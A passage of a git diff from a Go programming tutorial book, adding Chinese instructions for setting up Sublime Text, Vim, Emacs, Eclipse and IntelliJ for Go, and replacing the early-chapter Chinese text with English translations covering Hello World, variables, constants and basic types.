+ + PATH=$GOBIN:$GOROOT/bin:$PATH + 。。。 + + 将其中的`GOROOT=$HOME/go`修改为当前Go安装路径,存盘即可。 + +* GOPATH设置 + + Go语言的工具链使用GOPATH设置,是Go语言开发的项目路径列表,在命令行中输入(在LiteIDE中也可以`Ctrl+,`直接输入)`go help gopath`快速查看GOPATH文档。 + + 在LiteIDE中可以方便的查看和设置GOPATH。通过`菜单-查看-GOPATH`设置,可以查看系统中已存在的GOPATH列表, + 同时可根据需要添加项目目录到自定义GOPATH列表中。 + +## Sublime Text + + 这里将介绍Sublime Text 2(以下简称Sublime)+GoSublime的组合,那么为什么选择这个组合呢? + + - 自动化提示代码,如下图所示 + + ![](images/1.4.sublime1.png?raw=true) + + 图1.5 sublime自动化提示界面 + + - 保存的时候自动格式化代码,让您编写的代码更加美观,符合Go的标准。 + - 支持项目管理 + + ![](images/1.4.sublime2.png?raw=true) + + 图1.6 sublime项目管理界面 + + - 支持语法高亮 + - Sublime Text 2可免费使用,只是保存次数达到一定数量之后就会提示是否购买,点击取消继续用,和正式注册版本没有任何区别。 + + +接下来就开始讲如何安装,下载[Sublime](http://www.sublimetext.com/) + + 根据自己相应的系统下载相应的版本,然后打开Sublime,对于不熟悉Sublime的同学可以先看一下这篇文章[Sublime Text 2 入门及技巧](http://lucifr.com/139225/sublime-text-2-tricks-and-tips/) + + 1. 打开之后安装 Package Control:Ctrl+` 打开命令行,执行如下代码: + + import urllib2,os; pf='Package Control.sublime-package'; ipp=sublime.installed_packages_path(); os.makedirs(ipp) if not os.path.exists(ipp) else None; urllib2.install_opener(urllib2.build_opener(urllib2.ProxyHandler())); open(os.path.join(ipp,pf),'wb').write(urllib2.urlopen('http://sublime.wbond.net/'+pf.replace(' ','%20')).read()); print 'Please restart Sublime Text to finish installation' + + 这个时候重启一下Sublime,可以发现在在菜单栏多了一个如下的栏目,说明Package Control已经安装成功了。 + + ![](images/1.4.sublime3.png?raw=true) + + 图1.7 sublime包管理 + + + 2. 安装完之后就可以安装Sublime的插件了。需安装GoSublime、SidebarEnhancements和Go Build,安装插件之后记得重启Sublime生效,Ctrl+Shift+p打开Package Controll 输入`pcip`(即“Package Control: Install Package”的缩写)。 + + 这个时候看左下角显示正在读取包数据,完成之后出现如下界面 + + ![](images/1.4.sublime4.png?raw=true) + + 图1.8 sublime安装插件界面 + + 这个时候输入GoSublime,按确定就开始安装了。同理应用于SidebarEnhancements和Go Build。 + + 3. 验证是否安装成功,你可以打开Sublime,打开main.go,看看语法是不是高亮了,输入`import`是不是自动化提示了,`import "fmt"`之后,输入`fmt.`是不是自动化提示有函数了。 + + 如果已经出现这个提示,那说明你已经安装完成了,并且完成了自动提示。 + + 如果没有出现这样的提示,一般就是你的`$PATH`没有配置正确。你可以打开终端,输入gocode,是不是能够正确运行,如果不行就说明`$PATH`没有配置正确。 + (针对XP)有时候在终端能运行成功,但sublime无提示或者编译解码错误,请安装sublime text3和convert utf8插件试一试 + + 4. MacOS下已经设置了$GOROOT, $GOPATH, $GOBIN,还是没有自动提示怎么办。 + + 请在sublime中使用command + 9, 然后输入env检查$PATH, GOROOT, $GOPATH, $GOBIN等变量, 如果没有请采用下面的方法。 + + 首先建立下面的连接, 然后从Terminal中直接启动sublime + + ln -s /Applications/Sublime\ Text\ 2.app/Contents/SharedSupport/bin/subl /usr/local/bin/sublime + + +## Vim +Vim是从vi发展出来的一个文本编辑器, 代码补全、编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用。 + +![](images/1.4.vim.png?raw=true) + +图1.9 VIM编辑器自动化提示Go界面 + + 1. 配置vim高亮显示 + + cp -r $GOROOT/misc/vim/* ~/.vim/ + + 2. 在~/.vimrc文件中增加语法高亮显示 + + filetype plugin indent on + syntax on + + 3. 安装[Gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode默认安装到`$GOPATH/bin`下面。 + + 4. 配置[Gocode](https://github.com/nsf/gocode/) + + ~ cd $GOPATH/src/github.com/nsf/gocode/vim + ~ ./update.bash + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + + >gocode set里面的两个参数的含意说明: + > + >propose-builtins:是否自动提示Go的内置函数、类型和常量,默认为false,不提示。 + > + >lib-path:默认情况下,gocode只会搜索**$GOPATH/pkg/$GOOS_$GOARCH** 和 **$GOROOT/pkg/$GOOS_$GOARCH**目录下的包,当然这个设置就是可以设置我们额外的lib能访问的路径 + + + 5. 恭喜你,安装完成,你现在可以使用`:e main.go`体验一下开发Go的乐趣。 + +更多VIM 设定, 可参考[链接](http://monnand.me/p/vim-golang-environment/zhCN/) + +## Emacs +Emacs传说中的神器,她不仅仅是一个编辑器,它是一个整合环境,或可称它为集成开发环境,这些功能如让使用者置身于全功能的操作系统中。 + + ![](images/1.4.emacs.png?raw=true) + +图1.10 Emacs编辑Go主界面 + +1. 配置Emacs高亮显示 + + cp $GOROOT/misc/emacs/* ~/.emacs.d/ + +2. 安装[Gocode](https://github.com/nsf/gocode/) + + go get -u github.com/nsf/gocode + + gocode默认安装到`$GOBIN`里面下面。 + +3. 配置[Gocode](https://github.com/nsf/gocode/) + + + ~ cd $GOPATH/src/github.com/nsf/gocode/emacs + ~ cp go-autocomplete.el ~/.emacs.d/ + ~ gocode set propose-builtins true + propose-builtins true + ~ gocode set lib-path "/home/border/gocode/pkg/linux_amd64" // 换为你自己的路径 + lib-path "/home/border/gocode/pkg/linux_amd64" + ~ gocode set + propose-builtins true + lib-path "/home/border/gocode/pkg/linux_amd64" + +4. 需要安装 [Auto Completion](http://www.emacswiki.org/emacs/AutoComplete) + + 下载AutoComplete并解压 + + ~ make install DIR=$HOME/.emacs.d/auto-complete + + 配置~/.emacs文件 + + ;;auto-complete + (require 'auto-complete-config) + (add-to-list 'ac-dictionary-directories "~/.emacs.d/auto-complete/ac-dict") + (ac-config-default) + (local-set-key (kbd "M-/") 'semantic-complete-analyze-inline) + (local-set-key "." 'semantic-complete-self-insert) + (local-set-key ">" 'semantic-complete-self-insert) + + 详细信息参考: http://www.emacswiki.org/emacs/AutoComplete + +5. 配置.emacs + + ;; golang mode + (require 'go-mode-load) + (require 'go-autocomplete) + ;; speedbar + ;; (speedbar 1) + (speedbar-add-supported-extension ".go") + (add-hook + 'go-mode-hook + '(lambda () + ;; gocode + (auto-complete-mode 1) + (setq ac-sources '(ac-source-go)) + ;; Imenu & Speedbar + (setq imenu-generic-expression + '(("type" "^type *\\([^ \t\n\r\f]*\\)" 1) + ("func" "^func *\\(.*\\) {" 1))) + (imenu-add-to-menubar "Index") + ;; Outline mode + (make-local-variable 'outline-regexp) + (setq outline-regexp "//\\.\\|//[^\r\n\f][^\r\n\f]\\|pack\\|func\\|impo\\|cons\\|var.\\|type\\|\t\t*....") + (outline-minor-mode 1) + (local-set-key "\M-a" 'outline-previous-visible-heading) + (local-set-key "\M-e" 'outline-next-visible-heading) + ;; Menu bar + (require 'easymenu) + (defconst go-hooked-menu + '("Go tools" + ["Go run buffer" go t] + ["Go reformat buffer" go-fmt-buffer t] + ["Go check buffer" go-fix-buffer t])) + (easy-menu-define + go-added-menu + (current-local-map) + "Go tools" + go-hooked-menu) + + ;; Other + (setq show-trailing-whitespace t) + )) + ;; helper function + (defun go () + "run current buffer" + (interactive) + (compile (concat "go run " (buffer-file-name)))) + + ;; helper function + (defun go-fmt-buffer () + "run gofmt on current buffer" + (interactive) + (if buffer-read-only + (progn + (ding) + (message "Buffer is read only")) + (let ((p (line-number-at-pos)) + (filename (buffer-file-name)) + (old-max-mini-window-height max-mini-window-height)) + (show-all) + (if (get-buffer "*Go Reformat Errors*") + (progn + (delete-windows-on "*Go Reformat Errors*") + (kill-buffer "*Go Reformat Errors*"))) + (setq max-mini-window-height 1) + (if (= 0 (shell-command-on-region (point-min) (point-max) "gofmt" "*Go Reformat Output*" nil "*Go Reformat Errors*" t)) + (progn + (erase-buffer) + (insert-buffer-substring "*Go Reformat Output*") + (goto-char (point-min)) + (forward-line (1- p))) + (with-current-buffer "*Go Reformat Errors*" + (progn + (goto-char (point-min)) + (while (re-search-forward "" nil t) + (replace-match filename)) + (goto-char (point-min)) + (compilation-mode)))) + (setq max-mini-window-height old-max-mini-window-height) + (delete-windows-on "*Go Reformat Output*") + (kill-buffer "*Go Reformat Output*")))) + ;; helper function + (defun go-fix-buffer () + "run gofix on current buffer" + (interactive) + (show-all) + (shell-command-on-region (point-min) (point-max) "go tool fix -diff")) + +6. 恭喜你,你现在可以体验在神器中开发Go的乐趣。默认speedbar是关闭的,如果打开需要把 ;; (speedbar 1) 前面的注释去掉,或者也可以通过 *M-x speedbar* 手动开启。 + +## Eclipse +Eclipse也是非常常用的开发利器,以下介绍如何使用Eclipse来编写Go程序。 + + ![](images/1.4.eclipse1.png?raw=true) + +图1.11 Eclipse编辑Go的主界面 + +1. 首先下载并安装好[Eclipse](http://www.eclipse.org/) + +2. 下载[goclipse](https://code.google.com/p/goclipse/)插件 + + http://code.google.com/p/goclipse/wiki/InstallationInstructions + +3. 下载gocode,用于go的代码补全提示 + + gocode的github地址: + + https://github.com/nsf/gocode + + 在windows下要安装git,通常用[msysgit](https://code.google.com/p/msysgit/) + + 再在cmd下安装: + + go get -u github.com/nsf/gocode + + 也可以下载代码,直接用go build来编译,会生成gocode.exe + +4. 下载[MinGW](http://sourceforge.net/projects/mingw/files/MinGW/)并按要求装好 + +5. 配置插件 + + Windows->Reference->Go + + (1).配置Go的编译器 + + ![](images/1.4.eclipse2.png?raw=true) + + 图1.12 设置Go的一些基础信息 + + + (2).配置Gocode(可选,代码补全),设置Gocode路径为之前生成的gocode.exe文件 + + ![](images/1.4.eclipse3.png?raw=true) + + 图1.13 设置gocode信息 + + (3).配置GDB(可选,做调试用),设置GDB路径为MingW安装目录下的gdb.exe文件 + + ![](images/1.4.eclipse4.png?raw=true) + + 图1.14 设置GDB信息 + +6. 测试是否成功 + + 新建一个go工程,再建立一个hello.go。如下图: + + ![](images/1.4.eclipse5.png?raw=true) + + 图1.15 新建项目编辑文件 + + 调试如下(要在console中用输入命令来调试): + + ![](images/1.4.eclipse6.png?raw=true) + + 图1.16 调试Go程序 + +## IntelliJ IDEA +熟悉Java的读者应该对于idea不陌生,idea是通过一个插件来支持go语言的高亮语法,代码提示和重构实现。 + +1. 先下载idea,idea支持多平台:win,mac,linux,如果有钱就买个正式版,如果不行就使用社区免费版,对于只是开发Go语言来说免费版足够用了 + + ![](images/1.4.idea1.png?raw=true) + +2. 安装Go插件,点击菜单File中的Setting,找到Plugins,点击,Broswer repo按钮。国内的用户可能会报错,自己解决哈。 + + ![](images/1.4.idea3.png?raw=true) + +3. 这时候会看见很多插件,搜索找到Golang,双击,download and install。等到golang那一行后面出现Downloaded标志后,点OK。 + + ![](images/1.4.idea4.png?raw=true) + + 然后点 Apply .这时候IDE会要求你重启。 + +4. 重启完毕后,创建新项目会发现已经可以创建golang项目了: + + ![](images/1.4.idea5.png?raw=true) + + 下一步,会要求你输入 go sdk的位置,一般都安装在C:\Go,linux和mac根据自己的安装目录设置,选中目录确定,就可以了。 + +## links + * [目录]() + * 上一节: [Go 命令](<01.3.md>) + * 下一节: [总结](<01.5.md>) diff --git a/en/01.5.md b/en/01.5.md index ae9d7968..6df9c420 100644 --- a/en/01.5.md +++ b/en/01.5.md @@ -1,8 +1,9 @@ -# 1.5 总结 - -这一章中我们主要介绍了如何安装Go,Go可以通过三种方式安装:源码安装、标准包安装、第三方工具安装,安装之后我们需要配置我们的开发环境,然后介绍了如何配置本地的`$GOPATH`,通过设置`$GOPATH`之后读者就可以创建项目,接着介绍了如何来进行项目编译、应用安装等问题,这些需要用到很多Go命令,所以接着就介绍了一些Go的常用命令工具,包括编译、安装、格式化、测试等命令,最后介绍了Go的开发工具,目前有很多Go的开发工具:LiteIDE、sublime、VIM、Emacs、Eclipse、Idea等工具,读者可以根据自己熟悉的工具进行配置,希望能够通过方便的工具快速的开发Go应用。 - -## links - * [目录]() - * 上一节: [Go开发工具](<01.4.md>) - * 下一章: [Go语言基础](<02.0.md>) +# 1.5 Summary + +In this chapter, we talked about how to install Go using three different methods including from source code, the standard package and via third-party tools. Then we showed you how to configure the Go development environment, mainly covering how to setup your `$GOPATH`. After that, we introduced some steps for compiling and deploying Go programs. We then covered Go commands, including the compile, install, format and test commands. Finally, there are many powerful tools to develop Go programs such as LiteIDE, Sublime Text, Vim, Emacs, Eclipse, IntelliJ IDEA, etc. You can choose any one you like exploring the world of Go. + +## Links + +- [Directory](preface.md) +- Previous section: [Go development tools](01.4.md) +- Next chapter: [Go basic knowledge](02.0.md) diff --git a/en/01.5.md~380a8ee74c41759d8189ad553423467994187253 b/en/01.5.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..8286cf48 --- /dev/null +++ b/en/01.5.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,8 @@ +# 1.5 总结 + +这一章中我们主要介绍了如何安装Go,Go可以通过三种方式安装:源码安装、标准包安装、第三方工具安装,安装之后我们需要配置我们的开发环境,然后介绍了如何配置本地的`$GOPATH`,通过设置`$GOPATH`之后读者就可以创建项目,接着介绍了如何来进行项目编译、应用安装等问题,这些需要用到很多Go命令,所以接着就介绍了一些Go的常用命令工具,包括编译、安装、格式化、测试等命令,最后介绍了Go的开发工具,目前有很多Go的开发工具:LiteIDE、sublime、VIM、Emacs、Eclipse、Idea等工具,读者可以根据自己熟悉的工具进行配置,希望能够通过方便的工具快速的开发Go应用。 + +## links + * [目录]() + * 上一节: [Go开发工具](<01.4.md>) + * 下一章: [Go语言基础](<02.0.md>) diff --git a/en/02.0.md b/en/02.0.md index 600c7c2e..4c5f468a 100644 --- a/en/02.0.md +++ b/en/02.0.md @@ -1,19 +1,17 @@ -# 2 Go语言基础 - -Go是一门类似C的编译型语言,但是它的编译速度非常快。这门语言的关键字总共也就二十五个,比英文字母还少一个,这对于我们的学习来说就简单了很多。先让我们看一眼这些关键字都长什么样: - - break default func interface select - case defer go map struct - chan else goto package switch - const fallthrough if range type - continue for import return var - -在接下来的这一章中,我将带领你去学习这门语言的基础。通过每一小节的介绍,你将发现,Go的世界是那么地简洁,设计是如此地美妙,编写Go将会是一件愉快的事情。等回过头来,你就会发现这二十五个关键字是多么地亲切。 - -## 目录 -![](images/navi2.png?raw=true) - -## links - * [目录]() - * 上一章: [第一章总结](<01.5.md>) - * 下一节: [你好,Go](<02.1.md>) +# 2 Go basic knowledge + +Go is a compiled system programming language, and it belongs to the C-family. However, its compilation speed is much faster than other C-family languages. It has only 25 keywords... even less than the 26 letters of the English alphabet! Let's take a look at these keywords before we get started. + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +In this chapter, I'm going to teach you some basic Go knowledge. You will find out how concise the Go programming language is, and the beautiful design of the language. Programming can be very fun in Go. After we complete this chapter, you'll be familiar with the above keywords. + +## Links + +- [Directory](preface.md) +- Previous chapter: [Chapter 1 Summary](01.5.md) +- Next section: ["Hello, Go"](02.1.md) diff --git a/en/02.0.md~380a8ee74c41759d8189ad553423467994187253 b/en/02.0.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..5d4f9fd1 --- /dev/null +++ b/en/02.0.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,19 @@ +# 2 Go语言基础 + +Go是一门类似C的编译型语言,但是它的编译速度非常快。这门语言的关键字总共也就二十五个,比英文字母还少一个,这对于我们的学习来说就简单了很多。先让我们看一眼这些关键字都长什么样: + + break default func interface select + case defer go map struct + chan else goto package switch + const fallthrough if range type + continue for import return var + +在接下来的这一章中,我将带领你去学习这门语言的基础。通过每一小节的介绍,你将发现,Go的世界是那么地简洁,设计是如此地美妙,编写Go将会是一件愉快的事情。等回过头来,你就会发现这二十五个关键字是多么地亲切。 + +## 目录 +![](images/navi2.png?raw=true) + +## links + * [目录]() + * 上一章: [第一章总结](<01.5.md>) + * 下一节: [你好,Go](<02.1.md>) diff --git a/en/02.1.md b/en/02.1.md index fa44a36b..ad0168fc 100644 --- a/en/02.1.md +++ b/en/02.1.md @@ -1,52 +1,53 @@ -# 2.1 你好,Go - -在开始编写应用之前,我们先从最基本的程序开始。就像你造房子之前不知道什么是地基一样,编写程序也不知道如何开始。因此,在本节中,我们要学习用最基本的语法让Go程序运行起来。 - -## 程序 - -这就像一个传统,在学习大部分语言之前,你先学会如何编写一个可以输出`hello world`的程序。 - -准备好了吗?Let's Go! - - package main - - import "fmt" - - func main() { - fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい\n") - } - -输出如下: - - Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい - -## 详解 -首先我们要了解一个概念,Go程序是通过`package`来组织的 - -`package `(在我们的例子中是`package main`)这一行告诉我们当前文件属于哪个包,而包名`main`则告诉我们它是一个可独立运行的包,它在编译后会产生可执行文件。除了`main`包之外,其它的包最后都会生成`*.a`文件(也就是包文件)并放置在`$GOPATH/pkg/$GOOS_$GOARCH`中(以Mac为例就是`$GOPATH/pkg/darwin_amd64`)。 - ->每一个可独立运行的Go程序,必定包含一个`package main`,在这个`main`包中必定包含一个入口函数`main`,而这个函数既没有参数,也没有返回值。 - -为了打印`Hello, world...`,我们调用了一个函数`Printf`,这个函数来自于`fmt`包,所以我们在第三行中导入了系统级别的`fmt`包:`import "fmt"`。 - -包的概念和Python中的package类似,它们都有一些特别的好处:模块化(能够把你的程序分成多个模块)和可重用性(每个模块都能被其它应用程序反复使用)。我们在这里只是先了解一下包的概念,后面我们将会编写自己的包。 - -在第五行中,我们通过关键字`func`定义了一个`main`函数,函数体被放在`{}`(大括号)中,就像我们平时写C、C++或Java时一样。 - -大家可以看到`main`函数是没有任何的参数的,我们接下来就学习如何编写带参数的、返回0个或多个值的函数。 - -第六行,我们调用了`fmt`包里面定义的函数`Printf`。大家可以看到,这个函数是通过`.`的方式调用的,这一点和Python十分相似。 - ->前面提到过,包名和包所在的文件夹名可以是不同的,此处的``即为通过`package `声明的包名,而非文件夹名。 - -最后大家可以看到我们输出的内容里面包含了很多非ASCII码字符。实际上,Go是天生支持UTF-8的,任何字符都可以直接输出,你甚至可以用UTF-8中的任何字符作为标识符。 - - -## 结论 - -Go使用`package`(和Python的模块类似)来组织代码。`main.main()`函数(这个函数位于主包)是每一个独立的可运行程序的入口点。Go使用UTF-8字符串和标识符(因为UTF-8的发明者也就是Go的发明者之一),所以它天生支持多语言。 - -## links - * [目录]() - * 上一节: [Go语言基础](<02.0.md>) - * 下一节: [Go基础](<02.2.md>) +# 2.1 Hello, Go + +Before we start building an application in Go, we need to learn how to write a simple program. You can't expect to build a building without first knowing how to build its foundation. Therefore, we are going to learn the basic syntax to run some simple programs in this section. + +## Program + +According to international practice, before you learn how to program in some languages, you will want to know how to write a program to print "Hello world". + +Are you ready? Let's Go! + + package main + + import "fmt" + + func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界\n") + } + +It prints following information. + + Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちは世界 + +## Explanation + +One thing that you should know in the first is that Go programs are composed by `package`. + +`package` (In this case is `package main`) tells us this source file belongs to `main` package, and the keyword `main` tells us this package will be compiled to a program instead of package files whose extensions are `.a`. + +Every executable program has one and only one `main` package, and you need an entry function called `main` without any arguments or return values in the `main` package. + +In order to print `Hello, world…`, we called a function called `Printf`. This function is coming from `fmt` package, so we import this package in the third line of source code, which is `import "fmt"` + +The way to think about packages in Go is similar to Python, and there are some advantages: Modularity (break up your program into many modules) and reusability (every module can be reused in many programs). We just talked about concepts regarding packages, and we will make our own packages later. + +On the fifth line, we use the keyword `func` to define the `main` function. The body of the function is inside of `{}`, just like C, C++ and Java. + +As you can see, there are no arguments. We will learn how to write functions with arguments in just a second, and you can also have functions that have no return value or have several return values. + +On the sixth line, we called the function `Printf` which is from the package `fmt`. This was called by the syntax `.`, which is very like Python-style. + +As we mentioned in chapter 1, the package's name and the name of the folder that contains that package can be different. Here the `` comes from the name in `package `, not the folder's name. + +You may notice that the example above contains many non-ASCII characters. The purpose of showing this is to tell you that Go supports UTF-8 by default. You can use any UTF-8 character in your programs. + +## Conclusion + +Go uses `package` (like modules in Python) to organize programs. The function `main.main()` (this function must be in the `main` package) is the entry point of any program. Go supports UTF-8 characters because one of the creators of Go is a creator of UTF-8, so Go has supported multiple languages from the time it was born. + +## Links + +- [Directory](preface.md) +- Previous section: [Go basic knowledge](02.0.md) +- Next section: [Go foundation](02.2.md) diff --git a/en/02.1.md~380a8ee74c41759d8189ad553423467994187253 b/en/02.1.md~380a8ee74c41759d8189ad553423467994187253 new file mode 100644 index 00000000..5bc0e69f --- /dev/null +++ b/en/02.1.md~380a8ee74c41759d8189ad553423467994187253 @@ -0,0 +1,52 @@ +# 2.1 你好,Go + +在开始编写应用之前,我们先从最基本的程序开始。就像你造房子之前不知道什么是地基一样,编写程序也不知道如何开始。因此,在本节中,我们要学习用最基本的语法让Go程序运行起来。 + +## 程序 + +这就像一个传统,在学习大部分语言之前,你先学会如何编写一个可以输出`hello world`的程序。 + +准备好了吗?Let's Go! + + package main + + import "fmt" + + func main() { + fmt.Printf("Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい\n") + } + +输出如下: + + Hello, world or 你好,世界 or καλημ ́ρα κóσμ or こんにちはせかい + +## 详解 +首先我们要了解一个概念,Go程序是通过`package`来组织的 + +`package `(在我们的例子中是`package main`)这一行告诉我们当前文件属于哪个包,而包名`main`则告诉我们它是一个可独立运行的包,它在编译后会产生可执行文件。除了`main`包之外,其它的包最后都会生成`*.a`文件(也就是包文件)并放置在`$GOPATH/pkg/$GOOS_$GOARCH`中(以Mac为例就是`$GOPATH/pkg/darwin_amd64`)。 + +>每一个可独立运行的Go程序,必定包含一个`package main`,在这个`main`包中必定包含一个入口函数`main`,而这个函数既没有参数,也没有返回值。 + +为了打印`Hello, world...`,我们调用了一个函数`Printf`,这个函数来自于`fmt`包,所以我们在第三行中导入了系统级别的`fmt`包:`import "fmt"`。 + +包的概念和Python中的package类似,它们都有一些特别的好处:模块化(能够把你的程序分成多个模块)和可重用性(每个模块都能被其它应用程序反复使用)。我们在这里只是先了解一下包的概念,后面我们将会编写自己的包。 + +在第五行中,我们通过关键字`func`定义了一个`main`函数,函数体被放在`{}`(大括号)中,就像我们平时写C、C++或Java时一样。 + +大家可以看到`main`函数是没有任何的参数的,我们接下来就学习如何编写带参数的、返回0个或多个值的函数。 + +第六行,我们调用了`fmt`包里面定义的函数`Printf`。大家可以看到,这个函数是通过`.`的方式调用的,这一点和Python十分相似。 + +>前面提到过,包名和包所在的文件夹名可以是不同的,此处的``即为通过`package `声明的包名,而非文件夹名。 + +最后大家可以看到我们输出的内容里面包含了很多非ASCII码字符。实际上,Go是天生支持UTF-8的,任何字符都可以直接输出,你甚至可以用UTF-8中的任何字符作为标识符。 + + +## 结论 + +Go使用`package`(和Python的模块类似)来组织代码。`main.main()`函数(这个函数位于主包)是每一个独立的可运行程序的入口点。Go使用UTF-8字符串和标识符(因为UTF-8的发明者也就是Go的发明者之一),所以它天生支持多语言。 + +## links + * [目录]() + * 上一节: [Go语言基础](<02.0.md>) + * 下一节: [Go基础](<02.2.md>) diff --git a/en/02.2.md b/en/02.2.md index 9348534c..e6ad8882 100644 --- a/en/02.2.md +++ b/en/02.2.md @@ -1,201 +1,188 @@ -# 2.2 Go基础 +# 2.2 Go foundation -这小节我们将要介绍如何定义变量、常量、Go内置类型以及Go程序设计中的一些技巧。 +In this section, we are going to teach you how to define constants, variables with elementary types and some skills in Go programming. -## 定义变量 +## Define variables -Go语言里面定义变量有多种方式。 +There are many forms of syntax that can be used to define variables in Go. -使用`var`关键字是Go最基本的定义变量方式,与C语言不同的是Go把变量类型放在变量名后面: +The keyword `var` is the basic form to define variables, notice that Go puts the variable type `after` the variable name. - //定义一个名称为“variableName”,类型为"type"的变量 + // define a variable with name “variableName” and type "type" var variableName type -定义多个变量 +Define multiple variables. - //定义三个类型都是“type”的变量 + // define three variables which types are "type" var vname1, vname2, vname3 type + +Define a variable with initial value. -定义变量并初始化值 - - //初始化“variableName”的变量为“value”值,类型是“type” + // define a variable with name “variableName”, type "type" and value "value" var variableName type = value - -同时初始化多个变量 + +Define multiple variables with initial values. /* - 定义三个类型都是"type"的变量,并且分别初始化为相应的值 - vname1为v1,vname2为v2,vname3为v3 + Define three variables with type "type", and initialize their values. + vname1 is v1, vname2 is v2, vname3 is v3 */ - var vname1, vname2, vname3 type= v1, v2, v3 - -你是不是觉得上面这样的定义有点繁琐?没关系,因为Go语言的设计者也发现了,有一种写法可以让它变得简单一点。我们可以直接忽略类型声明,那么上面的代码变成这样了: + var vname1, vname2, vname3 type = v1, v2, v3 + +Do you think that it's too tedious to define variables use the way above? Don't worry, because the Go team has also found this to be a problem. Therefore if you want to define variables with initial values, we can just omit the variable type, so the code will look like this instead: /* - 定义三个变量,它们分别初始化为相应的值 - vname1为v1,vname2为v2,vname3为v3 - 然后Go会根据其相应值的类型来帮你初始化它们 + Define three variables with type "type", and initialize their values. + vname1 is v1,vname2 is v2,vname3 is v3 */ var vname1, vname2, vname3 = v1, v2, v3 - -你觉得上面的还是有些繁琐?好吧,我也觉得。让我们继续简化: + +Well, I know this is still not simple enough for you. Let's see how we fix it. /* - 定义三个变量,它们分别初始化为相应的值 - vname1为v1,vname2为v2,vname3为v3 - 编译器会根据初始化的值自动推导出相应的类型 + Define three variables with type "type", and initialize their values. + vname1 is v1,vname2 is v2,vname3 is v3 */ vname1, vname2, vname3 := v1, v2, v3 + +Now it looks much better. Use `:=` to replace `var` and `type`, this is called a brief statement. But wait, it has one limitation: this form can only be used inside of functions. You will get compile errors if you try to use it outside of function bodies. Therefore, we usually use `var` to define global variables and we can use this brief statement in `var()`. -现在是不是看上去非常简洁了?`:=`这个符号直接取代了`var`和`type`,这种形式叫做简短声明。不过它有一个限制,那就是它只能用在函数内部;在函数外部使用则会无法编译通过,所以一般用`var`方式来定义全局变量。 - -`_`(下划线)是个特殊的变量名,任何赋予它的值都会被丢弃。在这个例子中,我们将值`35`赋予`b`,并同时丢弃`34`: +`_` (blank) is a special variable name. Any value that is given to it will be ignored. For example, we give `35` to `b`, and discard `34`.( ***This example just show you how it works. It looks useless here because we often use this symbol when we get function return values.*** ) _, b := 34, 35 - -Go对于已声明但未使用的变量会在编译阶段报错,比如下面的代码就会产生一个错误:声明了`i`但未使用。 + +If you don't use variables that you've defined in your program, the compiler will give you compilation errors. Try to compile the following code and see what happens. package main func main() { - var i int + var i int } + +## Constants -## 常量 +So-called constants are the values that are determined during compile time and you cannot change them during runtime. In Go, you can use number, boolean or string as types of constants. -所谓常量,也就是在程序编译阶段就确定下来的值,而程序在运行时无法改变该值。在Go程序中,常量可定义为数值、布尔值或字符串等类型。 - -它的语法如下: +Define constants as follows. const constantName = value - //如果需要,也可以明确指定常量的类型: + // you can assign type of constants if it's necessary const Pi float32 = 3.1415926 -下面是一些常量声明的例子: +More examples. const Pi = 3.1415926 const i = 10000 const MaxThread = 10 const prefix = "astaxie_" - -Go 常量和一般程序语言不同的是,可以指定相当多的小数位数(例如200位), -若指定給float32自动缩短为32bit,指定给float64自动缩短为64bit,详情参考[链接](http://golang.org/ref/spec#Constants) - -## 内置基础类型 + +## Elementary types ### Boolean -在Go中,布尔值的类型为`bool`,值是`true`或`false`,默认为`false`。 +In Go, we use `bool` to define a variable as boolean type, the value can only be `true` or `false`, and `false` will be the default value. ( ***You cannot convert variables' type between number and boolean!*** ) - //示例代码 - var isActive bool // 全局变量声明 - var enabled, disabled = true, false // 忽略类型的声明 + // sample code + var isActive bool // global variable + var enabled, disabled = true, false // omit type of variables func test() { - var available bool // 一般声明 - valid := false // 简短声明 - available = true // 赋值操作 + var available bool // local variable + valid := false // brief statement of variable + available = true // assign value to variable } + +### Numerical types +Integer types include both signed and unsigned integer types. Go has `int` and `uint` at the same time, they have same length, but specific length depends on your operating system. They use 32-bit in 32-bit operating systems, and 64-bit in 64-bit operating systems. Go also has types that have specific length including `rune`, `int8`, `int16`, `int32`, `int64`, `byte`, `uint8`, `uint16`, `uint32`, `uint64`. Note that `rune` is alias of `int32` and `byte` is alias of `uint8`. -### 数值类型 +One important thing you should know that you cannot assign values between these types, this operation will cause compile errors. -整数类型有无符号和带符号两种。Go同时支持`int`和`uint`,这两种类型的长度相同,但具体长度取决于不同编译器的实现。Go里面也有直接定义好位数的类型:`rune`, `int8`, `int16`, `int32`, `int64`和`byte`, `uint8`, `uint16`, `uint32`, `uint64`。其中`rune`是`int32`的别称,`byte`是`uint8`的别称。 + var a int8 ->需要注意的一点是,这些类型的变量之间不允许互相赋值或操作,不然会在编译时引起编译器报错。 -> ->如下的代码会产生错误:invalid operation: a + b (mismatched types int8 and int32) -> ->> var a int8 + var b int32 ->> var b int32 + c := a + b ->> c:=a + b -> ->另外,尽管int的长度是32 bit, 但int 与 int32并不可以互用。 +Although int has a longer length than uint8, and has the same length as int32, you cannot assign values between them. ( ***c will be asserted as type `int` here*** ) -浮点数的类型有`float32`和`float64`两种(没有`float`类型),默认是`float64`。 +Float types have the `float32` and `float64` types and no type called `float`. The latter one is the default type if using brief statement. -这就是全部吗?No!Go还支持复数。它的默认类型是`complex128`(64位实数+64位虚数)。如果需要小一些的,也有`complex64`(32位实数+32位虚数)。复数的形式为`RE + IMi`,其中`RE`是实数部分,`IM`是虚数部分,而最后的`i`是虚数单位。下面是一个使用复数的例子: +That's all? No! Go supports complex numbers as 